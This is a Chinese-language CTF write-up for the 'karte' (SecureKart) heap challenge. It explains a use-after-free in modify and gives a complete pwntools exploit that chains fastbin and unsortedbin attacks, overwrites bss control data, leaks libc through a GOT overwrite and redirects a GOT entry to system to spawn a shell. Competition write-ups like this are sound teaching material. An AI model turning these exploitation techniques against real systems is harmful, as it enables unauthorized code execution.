SecureKart

prelogue

Thank @peanuts for the main part.

analysis

1
2
3
4
5
6
[*] '/home/n132/Desktop/SecureKart/karte'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

vulnerablity

没有开PIE和全RELRO
漏洞点

  • 半个UAF
  • modify时没有检测inuse

利用限制:

  1. 只有三个chunk ptr
  2. UAF只有modify的时候能用一次 free时检测inuse
  3. add中 size>0x800的时候用calloc 其他时候用malloc

比赛的时候全靠@peanuts师傅完成了改掉了lock的操作我当时照着流程复现了一遍
后面的内容其实相比前面的巧妙来说只是皮毛.
attachmen

solution

本节是我赛后删掉exp复现时的思路
第一个遇到的问题因为tcache size范围中用的是calloc是不能直接做tache hijacking
所以要弄到fastbin上搞方法也很简单

1
2
for x in range(7):
free(add(0x68))

这样就会填满tacache

之后利用uaf+modify来完成fastbin_atk

然后就要想要控制哪里.
本题没有开全RELRO和PIE所以首选bss段上那些重要的数据(全局变量 got表)

因为我们唯一的一次攻击机会被我们使用了要么一次成功(连地址都没有泄漏 还有fastbin-atk还是有head限制的所以不太可能)要么扩大利用.

如果是要泄漏的话在没有开full RELROPIE的情况下显然劫持某些gotputsio_leak简单.

因为前者在本题环境下需要做unsortedbin-atk后者因为只有三个chunk_ptr且没办法利用name区域的edit来控制stdout,换言之就是他们都需要unsortedbin-atk但是前者在做了unsortedbin-atk之后更加方便.

所以咱的之后大致思路就有了:unsortedbin-atk创造一个0x7fchunk-headbss上之后控制bss上一些关键值:

  • lock的值(可以扩大利用导致无限modify)
  • list的指针(配合低一点 可以任意地址写)

如果达到上述两项那么就可以为所欲为了.

于是我们细化一下流程:
首先是fastbin-atk是有head的需求所以直接来是比较难找到的
我们可以控制name区域次数不限 所以其上可以伪造chunk(一个限制是控制区域只有0x30)

我们最后要做0x71的fastbin-atk就需要至少0x70+1字节的可控制区域所以我们要控制name区域后的内容
因为0x80依然是fastbin内的所以我们可以第一次做fastbin-atk时使用0x80的大小先在后面的放点以后我们需要的东西.

那么我们继续要做的事情是创造一个可以控制的unsortedbin那这显然就是name区域了

之后因为name可以任意edit我们更改fake-chunkheadfree到其他的fastbin
利用malloc_consolidate使其进入unsortedbin(具体详见大哥的博客:chltql

这样之后的事情就很常规了控制lock+指针任意地址写 造成leak + got_hijacking

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c="A"):
cmd(1)
cmd(size)
p.sendafter("> ",c)
p.readuntil("id ")
return int(p.readline(),10)
def free(idx):
cmd(3)
cmd(idx)
def edit(idx,c):
cmd(4)
cmd(idx)
p.sendafter("> ",c)
def do_name(name):
p.sendafter(".. ",name)
def rename(name):
cmd(99)
do_name(name)

context.log_level='debug'
context.arch='amd64'
address=0x0000000006021A0
p=process('./karte')
#p=remote("karte.chal.ctf.westerns.tokyo",10001)
do_name("It's n132!")
for x in range(7):
tmp=add(0x18)#0
free(tmp)
for x in range(7):
tmp=add(0x68)#0
free(tmp)
for x in range(7):
tmp=add(0x78)#0
free(tmp)
t1=add(0x78)
t2=add(0x78)
free(t2)
free(t1)
edit(t1,p64(address)[:3])
rename(flat(0,0x81))
t1=add(0x78)
t2=add(0x78,p64(0x21)*13+p64(0x21))
rename(p64(0x21)*2)
t3=add(0x410)
free(t2)
free(t3)
rename(flat(0,0x21,0,0x602118-5-0x10))
free(t1)
t1=add(0x18)
rename(flat(0,0x71))
free(t1)
rename(flat(0,0x71,0x602110))
add(0x68)
pay=p64(0x0000000400000041)+'\x00'*0x18
pay+=p64(0x13200000001)+p64(0x000000000602018)
pay+=p64(0)*2+p64(0x13300000001)+p64(0x000000000602078)
pay+=p64(0x0000deadc0bebeef)
add(0x68,pay)
edit(0x132,p64(0x000000000400710)[:6])
free(0x133)
base=u64(p.readline()[:-1].ljust(0x8,'\x00'))-(0x7ffff7a24680-0x7ffff79e4000)
log.warning(hex(base))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
edit(0x133,p64(libc.sym['system']+base)[:6])
cmd("/bin/sh")
p.interactive()

epilogue

  1. 质量挺高的一题
  2. 挺考验利用的,一步步抽丝剥茧.